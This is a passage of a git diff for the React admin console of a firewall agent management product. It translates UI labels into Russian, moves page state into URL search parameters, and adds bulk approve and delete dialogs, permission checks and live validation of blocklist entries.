{ value: 'revoked', label: 'Отозван' },
|
||||
],
|
||||
},
|
||||
{
|
||||
@@ -215,8 +414,17 @@ function AgentsPage() {
|
||||
label: 'Платформа',
|
||||
type: 'select',
|
||||
options: [
|
||||
{ value: 'linux', label: 'linux' },
|
||||
{ value: 'mikrotik', label: 'mikrotik' },
|
||||
{ value: 'linux', label: 'Linux' },
|
||||
{ value: 'mikrotik', label: 'MikroTik' },
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'online',
|
||||
label: 'На связи',
|
||||
type: 'select',
|
||||
options: [
|
||||
{ value: 'online', label: 'На связи' },
|
||||
{ value: 'offline', label: 'Не на связи' },
|
||||
],
|
||||
},
|
||||
],
|
||||
@@ -227,6 +435,7 @@ function AgentsPage() {
|
||||
if (field === 'name') return item.name
|
||||
if (field === 'status') return item.status
|
||||
if (field === 'platform') return item.platform
|
||||
if (field === 'online') return isAgentOnline(item) ? 'online' : 'offline'
|
||||
return undefined
|
||||
}, [])
|
||||
|
||||
@@ -298,25 +507,25 @@ function AgentsPage() {
|
||||
{
|
||||
id: 'add',
|
||||
title: 'Добавить агента',
|
||||
description: 'Invite + install one-liner',
|
||||
description: 'Приглашение и команда установки',
|
||||
icon: <Plus aria-hidden />,
|
||||
iconClassName: 'text-primary [&_svg]:text-current',
|
||||
badgeLabel: 'Открыть',
|
||||
onSelect: () => setCreateOpen(true),
|
||||
onSelect: () => setCreateOpenState(true),
|
||||
},
|
||||
{
|
||||
id: 'pending',
|
||||
title: 'Pending',
|
||||
description: `${counts.pending} ждут approve`,
|
||||
title: 'Ожидают одобрения',
|
||||
description: `${counts.pending} ждут подтверждения`,
|
||||
icon: <Inbox aria-hidden />,
|
||||
iconClassName: 'text-warning [&_svg]:text-current',
|
||||
badgeLabel: 'Показать',
|
||||
onSelect: () => setActiveTab('pending'),
|
||||
onSelect: () => setSearch({ tab: 'pending' }),
|
||||
},
|
||||
{
|
||||
id: 'rules',
|
||||
title: 'Наборы правил',
|
||||
description: 'Политика firewall',
|
||||
description: 'Политика фаервола',
|
||||
to: '/rules',
|
||||
icon: <ShieldIcon aria-hidden />,
|
||||
iconClassName: 'text-info [&_svg]:text-current',
|
||||
@@ -333,6 +542,26 @@ function AgentsPage() {
|
||||
[counts.pending],
|
||||
)
|
||||
|
||||
const applyErrorAgents = useMemo(
|
||||
() => items.filter((a) => a.last_apply_error),
|
||||
[items],
|
||||
)
|
||||
|
||||
const filteredEmptyMessage = useMemo(() => {
|
||||
switch (activeTab) {
|
||||
case 'pending':
|
||||
return 'Нет агентов на одобрении — всё обработано.'
|
||||
case 'invited':
|
||||
return 'Нет приглашённых агентов.'
|
||||
case 'approved':
|
||||
return 'Нет одобренных агентов.'
|
||||
case 'revoked':
|
||||
return 'Нет отозванных агентов.'
|
||||
default:
|
||||
return undefined
|
||||
}
|
||||
}, [activeTab])
|
||||
|
||||
const handleSelectAgent = useCallback(
|
||||
(id: string) => {
|
||||
setSearch({ agent: id })
|
||||
@@ -350,9 +579,8 @@ function AgentsPage() {
|
||||
)
|
||||
|
||||
const handleClearFilters = useCallback(() => {
|
||||
setFilters([])
|
||||
setSearchQuery('')
|
||||
}, [])
|
||||
setSearch({ f: [], q: '' })
|
||||
}, [setSearch])
|
||||
|
||||
const handleCopyInstall = useCallback(
|
||||
(curl: string) => {
|
||||
@@ -386,19 +614,24 @@ function AgentsPage() {
|
||||
</ToggleGroup>
|
||||
)
|
||||
|
||||
const addButton = (
|
||||
<Button size="sm" onClick={() => setCreateOpen(true)}>
|
||||
const addButton = canWrite ? (
|
||||
<Button size="sm" onClick={() => setCreateOpenState(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Добавить агента
|
||||
</Button>
|
||||
)
|
||||
) : null
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
<PageHeader
|
||||
title="Агенты"
|
||||
description="Ops console: invite, install, approve"
|
||||
actions={addButton}
|
||||
description="Приглашение, установка и одобрение агентов"
|
||||
actions={
|
||||
<>
|
||||
<UpdatedAtLabel updatedAt={agentsQ.dataUpdatedAt} />
|
||||
{addButton}
|
||||
</>
|
||||
}
|
||||
/>
|
||||
|
||||
<KpiStatGrid cards={kpiCards} isLoading={agentsQ.isLoading} />
|
||||
@@ -409,43 +642,63 @@ function AgentsPage() {
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader className="flex-row items-start justify-between gap-3">
|
||||
<div className="flex min-w-0 flex-col gap-px">
|
||||
<FrameTitle>Attention — pending approve</FrameTitle>
|
||||
<FrameTitle>Требуют одобрения</FrameTitle>
|
||||
<FrameDescription>
|
||||
{counts.pending} агент(ов) ждут одобрения (DNA approval inbox)
|
||||
{counts.pending} агент(ов) ждут одобрения
|
||||
</FrameDescription>
|
||||
</div>
|
||||
<div className="flex shrink-0 flex-wrap gap-2">
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
onClick={() => setActiveTab('pending')}
|
||||
onClick={() => setSearch({ tab: 'pending' })}
|
||||
>
|
||||
Показать
|
||||
</Button>
|
||||
{canWrite ? (
|
||||
<Button
|
||||
size="sm"
|
||||
disabled={
|
||||
approveAllPending.isPending || pendingIds.length === 0
|
||||
approveBulk.isPending || pendingIds.length === 0
|
||||
}
|
||||
onClick={() => approveAllPending.mutate(pendingIds)}
|
||||
onClick={() => setApproveAllOpen(true)}
|
||||
>
|
||||
<Check data-icon="inline-start" />
|
||||
Approve all
|
||||
Утвердить всех
|
||||
</Button>
|
||||
) : null}
|
||||
</div>
|
||||
</FrameHeader>
|
||||
</Frame>
|
||||
) : null}
|
||||
|
||||
{counts.applyErrors > 0 ? (
|
||||
<Alert variant="warning">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибки apply</AlertTitle>
|
||||
<AlertDescription>
|
||||
У {counts.applyErrors} агент(ов) есть last_apply_error — откройте
|
||||
карточку для деталей.
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
{applyErrorAgents.length > 0 ? (
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader className="flex-row items-start justify-between gap-3">
|
||||
<div className="flex min-w-0 flex-col gap-px">
|
||||
<FrameTitle>Ошибки применения политики</FrameTitle>
|
||||
<FrameDescription>
|
||||
У {applyErrorAgents.length} агент(ов) последняя попытка apply
|
||||
завершилась ошибкой — откройте карточку для деталей.
|
||||
</FrameDescription>
|
||||
</div>
|
||||
</FrameHeader>
|
||||
<FramePanel className="flex flex-wrap gap-2">
|
||||
{applyErrorAgents.map((a) => (
|
||||
<Button
|
||||
key={a.id}
|
||||
size="sm"
|
||||
variant="outline"
|
||||
className="text-destructive"
|
||||
title={a.last_apply_error ?? undefined}
|
||||
onClick={() => setSearch({ agent: a.id })}
|
||||
>
|
||||
<CircleAlertIcon className="size-3.5" aria-hidden />
|
||||
{a.name}
|
||||
</Button>
|
||||
))}
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
) : null}
|
||||
|
||||
{view === 'table' ? (
|
||||
@@ -453,22 +706,27 @@ function AgentsPage() {
|
||||
data={items}
|
||||
filterFields={filterFields}
|
||||
filters={filters}
|
||||
onFiltersChange={setFilters}
|
||||
onFiltersChange={(f) => setSearch({ f })}
|
||||
onClearFilters={handleClearFilters}
|
||||
getFilterFieldValue={getFilterFieldValue}
|
||||
searchQuery={searchQuery}
|
||||
onSearchChange={setSearchQuery}
|
||||
onSearchChange={(q) => setSearch({ q })}
|
||||
getSearchText={getSearchText}
|
||||
tabs={[...AGENT_TABS]}
|
||||
activeTab={activeTab}
|
||||
onTabChange={setActiveTab}
|
||||
onTabChange={(tab) => setSearch({ tab })}
|
||||
tabFilter={tabFilter}
|
||||
isLoading={agentsQ.isLoading}
|
||||
isError={agentsQ.isError}
|
||||
error={agentsQ.error}
|
||||
onRetry={() => void agentsQ.refetch()}
|
||||
emptyAction={addButton}
|
||||
filteredEmptyMessage={filteredEmptyMessage}
|
||||
toolbarExtra={viewToggle}
|
||||
enableRowSelection={canWrite}
|
||||
rowSelection={rowSelection}
|
||||
onRowSelectionChange={setRowSelection}
|
||||
selectionToolbar={selectionToolbar}
|
||||
onSelect={handleSelectAgent}
|
||||
onApprove={(id) => approve.mutate(id)}
|
||||
approvePending={approve.isPending}
|
||||
@@ -484,13 +742,13 @@ function AgentsPage() {
|
||||
<AgentsFleetChrome
|
||||
tabs={countedTabs}
|
||||
activeTab={activeTab}
|
||||
onTabChange={setActiveTab}
|
||||
onTabChange={(tab) => setSearch({ tab })}
|
||||
filterFields={filterFields}
|
||||
filters={filters}
|
||||
onFiltersChange={setFilters}
|
||||
onFiltersChange={(f) => setSearch({ f })}
|
||||
onClearFilters={handleClearFilters}
|
||||
searchQuery={searchQuery}
|
||||
onSearchChange={setSearchQuery}
|
||||
onSearchChange={(q) => setSearch({ q })}
|
||||
toolbarExtra={viewToggle}
|
||||
>
|
||||
<AgentCardsGrid
|
||||
@@ -506,7 +764,7 @@ function AgentsPage() {
|
||||
}
|
||||
emptyDescription={
|
||||
items.length === 0
|
||||
? 'Создайте агента — он появится в каталоге как Invited с командой установки.'
|
||||
? 'Создайте агента — он появится в каталоге со статусом «Приглашён» и командой установки.'
|
||||
: undefined
|
||||
}
|
||||
emptyAction={items.length === 0 ? addButton : undefined}
|
||||
@@ -515,7 +773,13 @@ function AgentsPage() {
|
||||
</QueryState>
|
||||
)}
|
||||
|
||||
<AddAgentSheet open={createOpen} onOpenChange={setCreateOpen} />
|
||||
<AddAgentSheet
|
||||
open={createOpen}
|
||||
onOpenChange={(open) => {
|
||||
setCreateOpenState(open)
|
||||
if (!open && addParam) setSearch({ add: false })
|
||||
}}
|
||||
/>
|
||||
|
||||
<AgentDetailSheet
|
||||
agentId={detailAgentId ?? null}
|
||||
@@ -542,6 +806,45 @@ function AgentsPage() {
|
||||
}}
|
||||
disabled={removeAgent.isPending}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={approveAllOpen}
|
||||
onOpenChange={setApproveAllOpen}
|
||||
title="Утвердить всех ожидающих?"
|
||||
confirmLabel="Утвердить"
|
||||
confirmVariant="default"
|
||||
description={
|
||||
pendingIds.length > 0
|
||||
? `Будут одобрены ${pendingIds.length} агент(ов): ${formatNames(pendingNames)}. Агентам будет назначен общий набор правил по умолчанию.`
|
||||
: 'Нет агентов, ожидающих одобрения.'
|
||||
}
|
||||
onConfirm={() => {
|
||||
setApproveAllOpen(false)
|
||||
approveBulk.mutate(pendingIds)
|
||||
}}
|
||||
disabled={approveBulk.isPending || pendingIds.length === 0}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={bulkDeleteIds !== null}
|
||||
onOpenChange={(open) => {
|
||||
if (!open) setBulkDeleteIds(null)
|
||||
}}
|
||||
title="Удалить выбранных агентов?"
|
||||
description={
|
||||
bulkDeleteIds && bulkDeleteIds.length > 0
|
||||
? `Будут удалены ${bulkDeleteIds.length} агент(ов): ${formatNames(
|
||||
selectedAgents
|
||||
.filter((a) => bulkDeleteIds.includes(a.id))
|
||||
.map((a) => a.name),
|
||||
)}. Вместе с overrides, install-ссылками и статистикой. Действие нельзя отменить.`
|
||||
: 'Вместе с overrides, install-ссылками и статистикой. Действие нельзя отменить.'
|
||||
}
|
||||
onConfirm={() => {
|
||||
if (bulkDeleteIds) deleteBulk.mutate(bulkDeleteIds)
|
||||
}}
|
||||
disabled={deleteBulk.isPending}
|
||||
/>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
@@ -35,6 +35,7 @@ import {
|
||||
} from '@/queries'
|
||||
import { AgentsFleetChart } from '@/components/agents/agents-fleet-chart'
|
||||
import { agentTrafficDropped } from '@/components/agents/agent-traffic'
|
||||
import { UpdatedAtLabel } from '@/components/updated-at-label'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
|
||||
export const Route = createFileRoute('/_auth/')({
|
||||
@@ -75,7 +76,7 @@ function DashboardPage() {
|
||||
},
|
||||
{
|
||||
id: 'dropped',
|
||||
label: 'Dropped',
|
||||
label: 'Заблокировано',
|
||||
value: d?.packets_dropped ?? '—',
|
||||
hint: 'сумма counters',
|
||||
to: '/stats',
|
||||
@@ -85,7 +86,7 @@ function DashboardPage() {
|
||||
},
|
||||
{
|
||||
id: 'accepted',
|
||||
label: 'Accepted',
|
||||
label: 'Пропущено',
|
||||
value: d?.packets_accepted ?? '—',
|
||||
hint: 'сумма counters',
|
||||
to: '/stats',
|
||||
@@ -109,7 +110,7 @@ function DashboardPage() {
|
||||
{
|
||||
id: 'agents',
|
||||
title: 'Агенты',
|
||||
description: 'Enroll и approve',
|
||||
description: 'Подключение и одобрение агентов',
|
||||
to: '/agents',
|
||||
icon: <ServerIcon aria-hidden />,
|
||||
iconClassName: 'text-info',
|
||||
@@ -117,7 +118,7 @@ function DashboardPage() {
|
||||
{
|
||||
id: 'lists',
|
||||
title: 'Списки',
|
||||
description: 'Blocklists / sources',
|
||||
description: 'Блок-листы и источники',
|
||||
to: '/lists',
|
||||
icon: <ListIcon aria-hidden />,
|
||||
iconClassName: 'text-primary',
|
||||
@@ -125,7 +126,7 @@ function DashboardPage() {
|
||||
{
|
||||
id: 'rules',
|
||||
title: 'Правила',
|
||||
description: 'Allow / deny policy',
|
||||
description: 'Политика блокировки',
|
||||
to: '/rules',
|
||||
icon: <BanIcon aria-hidden />,
|
||||
iconClassName: 'text-warning',
|
||||
@@ -139,6 +140,7 @@ function DashboardPage() {
|
||||
<PageHeader
|
||||
title="Панель управления"
|
||||
description="Обзор агентов и пакетной статистики"
|
||||
actions={<UpdatedAtLabel updatedAt={dash.dataUpdatedAt} />}
|
||||
/>
|
||||
<OpsDashboard
|
||||
isLoading={dash.isLoading}
|
||||
|
||||
@@ -137,12 +137,14 @@ function ListDetailPage() {
|
||||
}),
|
||||
})
|
||||
}
|
||||
const text = addValue.trim()
|
||||
if (!text) throw new Error('Введите значение')
|
||||
// Backend auto-classifies each token via parseListEntry (ip / cidr / hostname)
|
||||
if (!addParse || addParse.valid === 0) {
|
||||
throw new Error('Нет валидных записей')
|
||||
}
|
||||
// Отправляем только валидные уникальные токены; backend классифицирует
|
||||
// каждый через parseListEntry (ip / cidr / hostname)
|
||||
return apiFetch(`/api/v1/lists/${id}/entries`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ values: [text] }),
|
||||
body: JSON.stringify({ values: addParse.values }),
|
||||
})
|
||||
},
|
||||
onSuccess: () => {
|
||||
@@ -291,10 +293,35 @@ function ListDetailPage() {
|
||||
return [...kinds]
|
||||
}, [addMode, addValue])
|
||||
|
||||
/** Живой разбор вставки: валидные / не распознанные / дубликаты. */
|
||||
const addParse = useMemo(() => {
|
||||
if (addMode !== 'plaintext') return null
|
||||
const text = addValue.trim()
|
||||
if (!text) return null
|
||||
const seen = new Set<string>()
|
||||
let valid = 0
|
||||
let invalid = 0
|
||||
let duplicates = 0
|
||||
for (const token of splitListPlaintext(text)) {
|
||||
try {
|
||||
const parsed = parseListEntry(token)
|
||||
if (seen.has(parsed.value)) {
|
||||
duplicates++
|
||||
continue
|
||||
}
|
||||
seen.add(parsed.value)
|
||||
valid++
|
||||
} catch {
|
||||
invalid++
|
||||
}
|
||||
}
|
||||
return { valid, invalid, duplicates, values: [...seen] }
|
||||
}, [addMode, addValue])
|
||||
|
||||
const canAdd =
|
||||
addMode === 'nested'
|
||||
? Boolean(addListRef)
|
||||
: Boolean(addValue.trim())
|
||||
: Boolean(addParse && addParse.valid > 0)
|
||||
|
||||
if (listQ.isLoading) {
|
||||
return (
|
||||
@@ -311,6 +338,29 @@ function ListDetailPage() {
|
||||
)
|
||||
}
|
||||
|
||||
if (listQ.isError) {
|
||||
return (
|
||||
<PageShell>
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка загрузки</AlertTitle>
|
||||
<AlertDescription className="flex flex-col gap-2">
|
||||
<span>{listQ.error?.message ?? 'Не удалось загрузить список'}</span>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="w-fit"
|
||||
onClick={() => void listQ.refetch()}
|
||||
>
|
||||
Повторить
|
||||
</Button>
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
|
||||
if (!detail) {
|
||||
return (
|
||||
<PageShell>
|
||||
@@ -566,18 +616,38 @@ function ListDetailPage() {
|
||||
placeholder={'8.8.8.8\n10.0.0.0/8\nbad.example.com'}
|
||||
onChange={(e) => setAddValue(e.target.value)}
|
||||
/>
|
||||
{detectedKinds.length > 0 ? (
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<span className="text-muted-foreground text-xs">
|
||||
Определено:
|
||||
</span>
|
||||
{detectedKinds.map((kind) => (
|
||||
<StatusBadge key={kind} status={kind} />
|
||||
))}
|
||||
{addParse && addParse.valid > 0 ? (
|
||||
<div className="flex flex-col gap-1.5">
|
||||
{detectedKinds.length > 0 ? (
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<span className="text-muted-foreground text-xs">
|
||||
Определено:
|
||||
</span>
|
||||
{detectedKinds.map((kind) => (
|
||||
<StatusBadge key={kind} status={kind} />
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
<div className="flex flex-wrap items-center gap-2 text-xs">
|
||||
<span className="text-success">
|
||||
{addParse.valid} валидно
|
||||
</span>
|
||||
{addParse.invalid > 0 ? (
|
||||
<span className="text-destructive">
|
||||
{addParse.invalid} не распознано
|
||||
</span>
|
||||
) : null}
|
||||
{addParse.duplicates > 0 ? (
|
||||
<span className="text-muted-foreground">
|
||||
{addParse.duplicates} дубликатов будет пропущено
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
) : addValue.trim() ? (
|
||||
<p className="text-muted-foreground text-xs">
|
||||
Не распознано — проверьте формат перед добавлением.
|
||||
<p className="text-destructive text-xs">
|
||||
Нет валидных записей — проверьте формат (IP, CIDR или
|
||||
домен).
|
||||
</p>
|
||||
) : null}
|
||||
</Field>
|
||||
|
||||
@@ -3,6 +3,9 @@ import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import { Plus, RefreshCwIcon } from 'lucide-react'
|
||||
import { useCallback, useMemo, useState } from 'react'
|
||||
import { Controller, useForm } from 'react-hook-form'
|
||||
import { zodResolver } from '@hookform/resolvers/zod'
|
||||
import { z } from 'zod'
|
||||
import type { Filter } from '@/components/reui/filters'
|
||||
import { PageHeader, PageShell, ResourcePage } from '@/components/reui-kit'
|
||||
import {
|
||||
@@ -15,6 +18,13 @@ import {
|
||||
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { listsQueryOptions, evobgpCommunitiesQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import {
|
||||
searchToFilters,
|
||||
searchToFlag,
|
||||
searchToQ,
|
||||
searchToTab,
|
||||
} from '@/lib/search-params'
|
||||
import {
|
||||
Autocomplete,
|
||||
AutocompleteContent,
|
||||
@@ -24,6 +34,8 @@ import {
|
||||
AutocompleteList,
|
||||
} from '@/components/reui/autocomplete'
|
||||
import { LoadingButton } from '@/components/loading-button'
|
||||
import { FormSheet } from '@/components/form-sheet'
|
||||
import { FieldError } from '@evofw/ui/components/field'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Field, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
@@ -43,14 +55,61 @@ import {
|
||||
SheetHeader,
|
||||
SheetTitle,
|
||||
} from '@evofw/ui/components/sheet'
|
||||
import { guessListSourceFromInput } from '@evofw/shared'
|
||||
|
||||
const LIST_TAB_IDS = LIST_TABS.map((t) => t.id) as string[]
|
||||
|
||||
type ListsSearch = {
|
||||
create?: boolean
|
||||
tab?: string
|
||||
q?: string
|
||||
f?: Filter[]
|
||||
}
|
||||
|
||||
/** URL-состояние страницы: create/tab/q/f (deep-link и refresh сохраняют вид). */
|
||||
function parseListsSearch(search: Record<string, unknown>): ListsSearch {
|
||||
const f = searchToFilters(search.f)
|
||||
return {
|
||||
create: searchToFlag(search.create),
|
||||
tab: searchToTab(search.tab, LIST_TAB_IDS),
|
||||
q: searchToQ(search.q),
|
||||
f: f.length > 0 ? f : undefined,
|
||||
}
|
||||
}
|
||||
|
||||
export const Route = createFileRoute('/_auth/lists/')({
|
||||
validateSearch: parseListsSearch,
|
||||
component: ListsPage,
|
||||
})
|
||||
|
||||
type CreateSource = 'static' | 'json_url' | 'evobgp_community'
|
||||
|
||||
function buildCreateListSchema(resolveCommunity: (input: string) => string) {
|
||||
return z
|
||||
.object({
|
||||
name: z.string().trim().min(2, 'Минимум 2 символа'),
|
||||
source: z.enum(['static', 'json_url', 'evobgp_community']),
|
||||
extra: z.string(),
|
||||
})
|
||||
.superRefine((v, ctx) => {
|
||||
if (v.source === 'json_url' && !/^https?:\/\//i.test(v.extra.trim())) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['extra'],
|
||||
message: 'Укажите полный URL, начиная с http:// или https://',
|
||||
})
|
||||
}
|
||||
if (v.source === 'evobgp_community' && !resolveCommunity(v.extra)) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['extra'],
|
||||
message: 'Выберите community из списка или укажите ID',
|
||||
})
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
type CreateListValues = z.infer<ReturnType<typeof buildCreateListSchema>>
|
||||
|
||||
const CREATE_SOURCE_ITEMS = [
|
||||
{ value: 'static', label: 'Ручной' },
|
||||
{ value: 'json_url', label: 'JSON по URL' },
|
||||
@@ -65,23 +124,51 @@ const CREATE_SOURCE_ITEMS = [
|
||||
* Docs: https://reui.io/blocks
|
||||
*/
|
||||
function ListsPage() {
|
||||
const navigate = useNavigate()
|
||||
const navigate = useNavigate({ from: Route.fullPath })
|
||||
const qc = useQueryClient()
|
||||
const [createOpen, setCreateOpen] = useState(false)
|
||||
const [name, setName] = useState('')
|
||||
const [source, setSource] = useState<CreateSource>('static')
|
||||
const [extra, setExtra] = useState('')
|
||||
/** Resolved EvoBGP community UUID (Base UI Autocomplete stores label in input). */
|
||||
const [communityId, setCommunityId] = useState('')
|
||||
const [filters, setFilters] = useState<Filter[]>([])
|
||||
const [searchQuery, setSearchQuery] = useState('')
|
||||
const [activeTab, setActiveTab] = useState('all')
|
||||
const canWrite = useCan()('fw:lists:write')
|
||||
const { create: createParam, q: qParam, f: fParam } = Route.useSearch()
|
||||
const activeTab = Route.useSearch().tab ?? 'all'
|
||||
const searchQuery = qParam ?? ''
|
||||
const filters = fParam ?? []
|
||||
const [createOpenState, setCreateOpenState] = useState(false)
|
||||
const createOpen = createOpenState || createParam === true
|
||||
const [deleteListId, setDeleteListId] = useState<string | null>(null)
|
||||
|
||||
const createForm = useForm<CreateListValues>({
|
||||
resolver: zodResolver(buildCreateListSchema((input) => resolveCommunityId(input))),
|
||||
defaultValues: { name: '', source: 'static', extra: '' },
|
||||
mode: 'onBlur',
|
||||
})
|
||||
const createSource = createForm.watch('source') as CreateSource
|
||||
const createExtra = createForm.watch('extra')
|
||||
|
||||
/** Обновление URL-состояния (tab/q/f) без перезагрузки. */
|
||||
const setListSearch = useCallback(
|
||||
(next: { tab?: string; q?: string; f?: Filter[]; create?: boolean }) => {
|
||||
void navigate({
|
||||
search: (prev) => {
|
||||
const base = parseListsSearch(prev as Record<string, unknown>)
|
||||
return {
|
||||
create:
|
||||
next.create !== undefined
|
||||
? next.create || undefined
|
||||
: base.create,
|
||||
tab: next.tab !== undefined ? searchToTab(next.tab, LIST_TAB_IDS) : base.tab,
|
||||
q: next.q !== undefined ? searchToQ(next.q) : base.q,
|
||||
f: next.f !== undefined ? next.f : base.f,
|
||||
}
|
||||
},
|
||||
replace: true,
|
||||
})
|
||||
},
|
||||
[navigate],
|
||||
)
|
||||
|
||||
const listsQ = useQuery(listsQueryOptions())
|
||||
const communitiesQ = useQuery({
|
||||
...evobgpCommunitiesQueryOptions(),
|
||||
enabled: createOpen && source === 'evobgp_community',
|
||||
enabled: createOpen && createSource === 'evobgp_community',
|
||||
})
|
||||
|
||||
const communityItems = useMemo(
|
||||
@@ -109,25 +196,22 @@ function ListsPage() {
|
||||
}
|
||||
|
||||
const create = useMutation({
|
||||
mutationFn: async () => {
|
||||
mutationFn: async (values: CreateListValues) => {
|
||||
const config: Record<string, unknown> = {}
|
||||
if (source === 'json_url') {
|
||||
config.url = extra.trim()
|
||||
} else if (source === 'evobgp_community') {
|
||||
config.community_id = communityId || resolveCommunityId(extra)
|
||||
if (values.source === 'json_url') {
|
||||
config.url = values.extra.trim()
|
||||
} else if (values.source === 'evobgp_community') {
|
||||
config.community_id = resolveCommunityId(values.extra)
|
||||
}
|
||||
return apiFetch<{ id: string }>('/api/v1/lists', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ name, type: source, config }),
|
||||
body: JSON.stringify({ name: values.name, type: values.source, config }),
|
||||
})
|
||||
},
|
||||
onSuccess: (row) => {
|
||||
toast.success('Список создан')
|
||||
setName('')
|
||||
setExtra('')
|
||||
setCommunityId('')
|
||||
setSource('static')
|
||||
setCreateOpen(false)
|
||||
createForm.reset()
|
||||
setCreateOpenState(false)
|
||||
void qc.invalidateQueries({ queryKey: ['lists'] })
|
||||
void navigate({ to: '/lists/$id', params: { id: row.id } })
|
||||
},
|
||||
@@ -174,13 +258,6 @@ function ListsPage() {
|
||||
[],
|
||||
)
|
||||
|
||||
const canCreate =
|
||||
Boolean(name.trim()) &&
|
||||
(source === 'static' ||
|
||||
(source === 'json_url' && Boolean(extra.trim())) ||
|
||||
(source === 'evobgp_community' &&
|
||||
Boolean(communityId || resolveCommunityId(extra))))
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
<PageHeader
|
||||
@@ -199,10 +276,12 @@ function ListsPage() {
|
||||
/>
|
||||
Обновить
|
||||
</Button>
|
||||
<Button size="sm" onClick={() => setCreateOpen(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Создать
|
||||
</Button>
|
||||
{canWrite ? (
|
||||
<Button size="sm" onClick={() => setCreateOpenState(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Создать
|
||||
</Button>
|
||||
) : null}
|
||||
</>
|
||||
}
|
||||
/>
|
||||
@@ -215,16 +294,16 @@ function ListsPage() {
|
||||
getRowId={(r) => r.id}
|
||||
filterFields={listFilterFields}
|
||||
filters={filters}
|
||||
onFiltersChange={setFilters}
|
||||
onClearFilters={() => setFilters([])}
|
||||
onFiltersChange={(f) => setListSearch({ f })}
|
||||
onClearFilters={() => setListSearch({ f: [], q: '' })}
|
||||
getFilterFieldValue={getFilterFieldValue}
|
||||
searchQuery={searchQuery}
|
||||
onSearchChange={setSearchQuery}
|
||||
onSearchChange={(q) => setListSearch({ q })}
|
||||
searchPlaceholder="Поиск списков…"
|
||||
getSearchText={getSearchText}
|
||||
tabs={[...LIST_TABS]}
|
||||
activeTab={activeTab}
|
||||
onTabChange={setActiveTab}
|
||||
onTabChange={(tab) => setListSearch({ tab })}
|
||||
tabFilter={tabFilter}
|
||||
isLoading={listsQ.isLoading}
|
||||
isError={listsQ.isError}
|
||||
@@ -237,7 +316,7 @@ function ListsPage() {
|
||||
title: 'Нет списков',
|
||||
description: 'Создайте первый список для политики firewall.',
|
||||
action: (
|
||||
<Button size="sm" onClick={() => setCreateOpen(true)}>
|
||||
<Button size="sm" onClick={() => setCreateOpenState(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Создать
|
||||
</Button>
|
||||
@@ -258,123 +337,137 @@ function ListsPage() {
|
||||
disabled={removeList.isPending}
|
||||
/>
|
||||
|
||||
<Sheet open={createOpen} onOpenChange={setCreateOpen}>
|
||||
<SheetContent className="flex flex-col gap-0 overflow-hidden sm:max-w-md">
|
||||
<SheetHeader className="shrink-0">
|
||||
<SheetTitle>Новый список</SheetTitle>
|
||||
<SheetDescription>
|
||||
После создания откроется страница со содержимым списка.
|
||||
</SheetDescription>
|
||||
</SheetHeader>
|
||||
<ScrollArea className="flex-1 px-4">
|
||||
<div className="grid auto-rows-min gap-4 py-2 pb-4">
|
||||
<Field>
|
||||
<FieldLabel htmlFor="list-name">Имя</FieldLabel>
|
||||
<Input
|
||||
id="list-name"
|
||||
value={name}
|
||||
onChange={(e) => setName(e.target.value)}
|
||||
/>
|
||||
</Field>
|
||||
<Field>
|
||||
<FieldLabel>Источник</FieldLabel>
|
||||
<Select
|
||||
items={[...CREATE_SOURCE_ITEMS]}
|
||||
value={source}
|
||||
onValueChange={(v) => {
|
||||
if (!v) return
|
||||
setSource(v as CreateSource)
|
||||
setExtra('')
|
||||
setCommunityId('')
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{CREATE_SOURCE_ITEMS.map((item) => (
|
||||
<SelectItem key={item.value} value={item.value}>
|
||||
{item.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</Field>
|
||||
{source === 'json_url' ? (
|
||||
<Field>
|
||||
<FieldLabel htmlFor="list-url">URL JSON</FieldLabel>
|
||||
<Input
|
||||
id="list-url"
|
||||
value={extra}
|
||||
placeholder="https://…"
|
||||
onChange={(e) => {
|
||||
const v = e.target.value
|
||||
setExtra(v)
|
||||
if (guessListSourceFromInput(v) === 'json_url') {
|
||||
setSource('json_url')
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</Field>
|
||||
) : null}
|
||||
{source === 'evobgp_community' ? (
|
||||
<Field>
|
||||
